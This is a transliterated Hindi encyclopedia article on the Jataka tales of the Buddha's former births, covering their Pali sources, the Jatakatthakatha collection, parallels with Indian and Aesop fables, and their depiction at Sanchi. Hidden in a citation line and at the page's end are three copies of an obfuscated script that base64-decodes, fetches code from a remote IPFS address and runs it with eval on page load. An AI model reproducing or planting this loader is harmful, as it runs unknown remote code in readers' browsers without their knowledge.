जातक कथा
jatak kathaean bhagavan buddh ke poorvajanmoan ki behad lokapriy kahaniyaan haian, jinhean bauddh dharm ke sabhi matoan mean sanrakshit kiya gaya hai. kuchh jatak kahaniyaan pali bauddh lekhoan ki vibhinn shakhaoan mean haian. inamean ve 35 kahaniyaan bhi haian, jinaka sankalan upadesh dene ke lie kiya gaya tha. inaki rachana ka samay tisari shatabdi ee. poorv se pahale ka mana jata hai.[1]
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bhasha
pali mean likhit 35 kahaniyaan aantim pustak 'kariy pitak'[2] mean haian, jo 'khuddak nikay'[3] ka aang hai. isake alava paanchavi shatabdi ki sihanli bhasha ki tippani bhi hai, jisaka sanbandh bauddh vidvanh buddhaghosh se hai, jinhean 'jatakatthavannan' ya 'jatakatthakatha' kahate haian, jinamean 550 jatak kahaniyaan haian, inamean se kuchh bahut chhoti to kuchh upanyasikaoan jaisi lanbi haian.
moortiyoan aur chitroan mean pradarshan
kee jatak kathaean mahabharat, panchatantr, puran aur gair bauddh bharatiy sahity ki kathaoan ke saman haian. kuchh bad mean eesap ki kahaniyoan mean bhi milati haian. jatak kathaean sanpoorn bauddh vishv ki moortiyoan aur chitroan mean bhi pray: pradarshit ki gee haian. saanchi ke stoopoan mean, jinaka nirman tisari shatabdi ee. poorv mean hua tha, jatak kathaean aankit haian. in kathaoan ke lekhakoan ka nam ajnat hai. inamean rachanakalin bharat ki rajanitik aur samajik sthiti ka vivaran bhi milata hai.[1]
kahani ka prarambh
pratyek kahani apane kathan ke avasar ke ullekh se shuroo hoti hai aur buddh dvara pichhali kahani ke patroan ke jivan ko nee kahani ke patroan mean pahachanane ke sath samapt hoti hai. in kahaniyoan mean vinod ka put aur vividhata bhi hai. inamean bhavi buddh raja, bahishkrit vyakti, bhagavan, hathi adi ke roop mean a sakate haian, lekin vah kisi bhi roop mean aean, unamean koee aisa gun hota hai, jisaki shiksha kahani deti hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 239 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vyavahar sanhita
- ↑ ladyu sankalan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>